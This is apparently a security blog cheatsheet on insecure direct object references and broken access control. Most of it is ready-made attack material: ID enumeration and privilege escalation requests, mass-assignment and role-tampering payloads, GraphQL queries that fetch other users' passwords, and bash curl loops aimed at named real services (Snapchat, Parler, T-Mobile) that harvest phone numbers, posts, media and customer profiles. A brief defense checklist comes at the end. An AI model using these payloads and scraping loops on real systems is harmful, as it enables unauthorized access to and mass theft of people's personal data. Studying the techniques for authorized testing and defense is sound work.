IDOR & Broken Access Control Cheatsheet: Finding and Exploiting Object References | Tağmaç - root@Tagoletta:~#

IDOR & Broken Access Control Cheatsheet: Finding and Exploiting Object References

Thu May 28 2026

Category: Cheatsheet


What is IDOR?

Insecure Direct Object Reference (IDOR) occurs when an application uses user-controllable input to access objects directly without proper authorization checks.

GET /api/users/1234/profile    → can you access /api/users/1235/profile?
GET /invoice/download?id=100   → can you download id=101 (another user's invoice)?
DELETE /messages/55            → can you delete 56 (another user's message)?

Numeric ID Manipulation

# Increment / decrement
/api/orders/1001 → /api/orders/1002, 1003, 1000, 999...

# Negative values
/api/profile?user_id=-1
/api/profile?user_id=0

# Large values (admin IDs are often low: 1, 2, 3)
/api/users/1
/api/users/2
/api/users/3

# Off-by-one
/api/order/99 (last visible) → /api/order/100 (next user's order)

Horizontal Privilege Escalation

Accessing another user's data at the same privilege level.

# Scenario: logged in as user A (id=1001), access user B (id=1002)
GET /api/account/1001/settings HTTP/1.1
→ change to:
GET /api/account/1002/settings HTTP/1.1
Cookie: session=user_A_session    ← same session, different target

Vertical Privilege Escalation

Accessing functionality above your privilege level.

# Access admin endpoints as regular user
GET /admin/users/list
GET /api/admin/config
POST /api/admin/create-user
DELETE /api/admin/delete-user/5

# Role parameter tampering
POST /update-profile HTTP/1.1
{"username":"hacker","email":"[email protected]","role":"admin"}   ← add role field

# Forced browsing
/admin/
/admin/panel
/admin/users
/dashboard/admin
/internal/
/staff/

GUID / UUID Bypass

GUIDs look random but may be predictable or discoverable:

# v1 UUIDs are time-based — can be predicted if timestamp known
xxxxxxxx-xxxx-1xxx-xxxx-xxxxxxxxxxxx  (v1 = time-based)

# Where to find other users' GUIDs:
- Public profile pages (URL)
- API responses (creator_id, owner_id, referenced_by)
- Email links (password reset, invite)
- Error messages
- JavaScript source / API docs

# Try null UUID
/api/user/00000000-0000-0000-0000-000000000000

# Try admin UUID patterns
/api/user/00000000-0000-0000-0000-000000000001

Hash / Token Prediction

# MD5/SHA of sequential IDs
import hashlib
for i in range(1, 100):
    print(f"/files/{hashlib.md5(str(i).encode()).hexdigest()}")

# Base64-encoded IDs
import base64
base64.b64decode("dXNlcjoxMDA=")  → user:100
base64.b64encode(b"user:101")      → dXNlcjoxMDE=

HTTP Method Tampering

# Original: only GET is used, but POST/PUT/DELETE may work
GET /api/admin/disable-user/5 HTTP/1.1
→
POST /api/admin/disable-user/5 HTTP/1.1
DELETE /api/admin/disable-user/5 HTTP/1.1
PUT /api/admin/disable-user/5 HTTP/1.1
PATCH /api/admin/disable-user/5 HTTP/1.1

# Override method via header (some frameworks support)
POST /api/admin/disable-user/5 HTTP/1.1
X-HTTP-Method-Override: DELETE
X-Method-Override: DELETE
_method=DELETE

Parameter Location Tampering

# Parameter may be checked in one location but used from another
# Try moving user ID:
# - URL path → query string
# - query string → request body
# - request body → header
# - URL → Cookie

GET /api/orders?user_id=1001
POST /api/orders
{"user_id": 1001}
Cookie: user_id=1001
X-User-ID: 1001
X-Forwarded-For: user-1001

JSON Parameter Pollution

// Send same parameter twice
{"user_id": "1001", "user_id": "1002"}

// Array injection
{"user_id": ["1001", "1002"]}

// Type confusion
{"user_id": "1001"}  →  {"user_id": 1001}  (string vs int)
{"user_id": null}
{"user_id": true}

Mass Assignment

Sending unexpected fields that the server processes:

POST /api/register HTTP/1.1
{"username":"hacker","password":"pass","email":"[email protected]","is_admin":true}
# Profile update — inject extra fields
PUT /api/profile HTTP/1.1
{
  "name": "hacker",
  "email": "[email protected]",
  "balance": 99999,
  "role": "admin",
  "is_verified": true,
  "account_type": "premium"
}

Referencing Other Object Types

# Direct ID
/api/messages/55       → /api/messages/56
/api/receipts/AA-1001  → /api/receipts/AA-1002

# Cross-user document access
GET /download?file=invoice_1001.pdf → /download?file=invoice_1002.pdf

# Report/export endpoints (often less protected)
GET /reports/export?user=1001
GET /audit-log?user_id=1001

# Admin actions embedded in regular flows
POST /checkout
{"order_id": 500, "discount_code": "STAFF50", "override_price": 0}

IDOR in API Endpoints

# RESTful pattern — iterate all objects
GET /api/v1/users
GET /api/v1/users/{id}
GET /api/v1/users/{id}/orders
GET /api/v1/users/{id}/messages
GET /api/v1/users/{id}/payments
GET /api/v1/users/{id}/documents
GET /api/v1/users/{id}/sessions
DELETE /api/v1/users/{id}

# GraphQL — enumerate via introspection
query { user(id: "1001") { id email password } }
query { user(id: "1002") { id email password } }

IDOR in Password Reset

# Reset token in body or query param
POST /reset-password
{"token":"abc123","new_password":"hacked","user_id":1001}
→ change user_id to 1002

# Or token predictable
/reset?token=user_1001_timestamp
/reset?token=user_1002_timestamp

Testing Methodology

1. Create two accounts (Attacker A, Victim B)
2. As Attacker A, identify all API calls referencing an object ID
3. Note your own object IDs
4. Replace your IDs with Victim B's IDs
5. Observe if Victim B's data is returned
6. Try vertical: replace with admin IDs (1, 2, 3)
7. Test all HTTP methods (GET, POST, PUT, DELETE, PATCH)
8. Test all parameter locations (URL, body, header, cookie)

Real-World Examples

CVE / Incident Year Product Impact
Snapchat API IDOR 2014 Snapchat 4.6M phone numbers + usernames leaked via /find_friends
T-Mobile IDOR 2017 T-Mobile API Any phone number → full account info via unauthenticated API
Instagram IDOR 2019 Instagram Any user's private photos accessible via profile ID → $10,000
Facebook IDOR 2021 Facebook Graph API Any user's phone number enumerable via password reset
Parler IDOR 2021 Parler Sequential post IDs → bulk download of 70TB+ user data
CVE-2020-15957 2020 StackStorm IDOR in action execution → privilege escalation

Example: Snapchat — Phone Number Enumeration

# Step 1: Snapchat's /find_friends endpoint accepted phone number arrays
POST /find_friends HTTP/1.1
Content-Type: application/x-www-form-urlencoded

username=attacker&countrycode=US&numbers[]=5555551234&numbers[]=5555551235&...&numbers[]=5555559999

# Step 2: Response mapped phone numbers to Snapchat usernames
{"results": [
  {"number": "5555551234", "username": "johndoe"},
  {"number": "5555551235", "username": "janedoe"}
]}

# Script to automate 1000 numbers per request:
for batch in $(seq 0 1000 9999999999); do
  curl -s -X POST https://api.snapchat.com/bq/find_friends \
    -d "numbers=$(seq $batch $((batch+999)) | tr '\n' ',')"
done

Example: Parler — Sequential ID Exploit

# Parler used sequential integer IDs for posts + no auth required for public posts
# Step 1: Enumerate post IDs (no auth needed)
for id in $(seq 1 1000000); do
  curl -s "https://api.parler.com/v2/post?id=$id" \
    -o "posts/$id.json"
done

# Step 2: Download media with sequential filenames
for id in $(seq 1 999999999); do
  curl -s "https://media.parler.com/photo/$id.jpeg" -o "$id.jpeg" 2>/dev/null
done
# Result: 70TB+ of user data, posts, videos (all before deplatforming)

Example: T-Mobile — Unauthenticated API

# GET request with phone number → full account info (no auth)
curl "https://howmobileworks.com/api/2/account?mobile=+15555551234"

# Response:
{
  "name": "John Doe",
  "email": "[email protected]",
  "address": "123 Main St",
  "account_status": "active",
  "plan": "unlimited"
}

# Automate with leaked/known phone number list
while read number; do
  curl -s "https://api.t-mobile.com/customers/v1/profile?msisdn=$number" \
    -H "Authorization: Bearer app_token" | jq '.name,.email'
done < phone_numbers.txt

Example: Bug Bounty — Mass Assignment

# Target: POST /api/register
# Step 1: Normal registration
POST /api/register HTTP/1.1
{"username":"hacker","password":"Pass1!","email":"[email protected]"}

# Response: {"id":1337,"username":"hacker","role":"user","verified":false}

# Step 2: Add extra fields from response back into request
POST /api/register HTTP/1.1
{"username":"hacker2","password":"Pass1!","email":"[email protected]",
 "role":"admin","verified":true,"balance":99999}

# Response: {"id":1338,"username":"hacker2","role":"admin","verified":true}
# Mass assignment accepted all fields!

Automated Discovery

# Autorize (Burp Extension)
# Repeater with session swap

# FFUF — enumerate IDs
ffuf -u "https://target.com/api/orders/FUZZ" -w numbers.txt -H "Cookie: session=victim_session"

# Intruder — ID iteration
# Set attack position on ID, use number payload list

Defense Checklist

  • Implement server-side authorization check on every object access
  • Use indirect references — map internal IDs to random tokens per session
  • Validate that requesting user owns or has permission for the object
  • Deny by default — only grant access when explicitly permitted
  • Log all access denials for anomaly detection
  • Use UUIDs instead of sequential integers (harder to enumerate, but not a fix alone)

References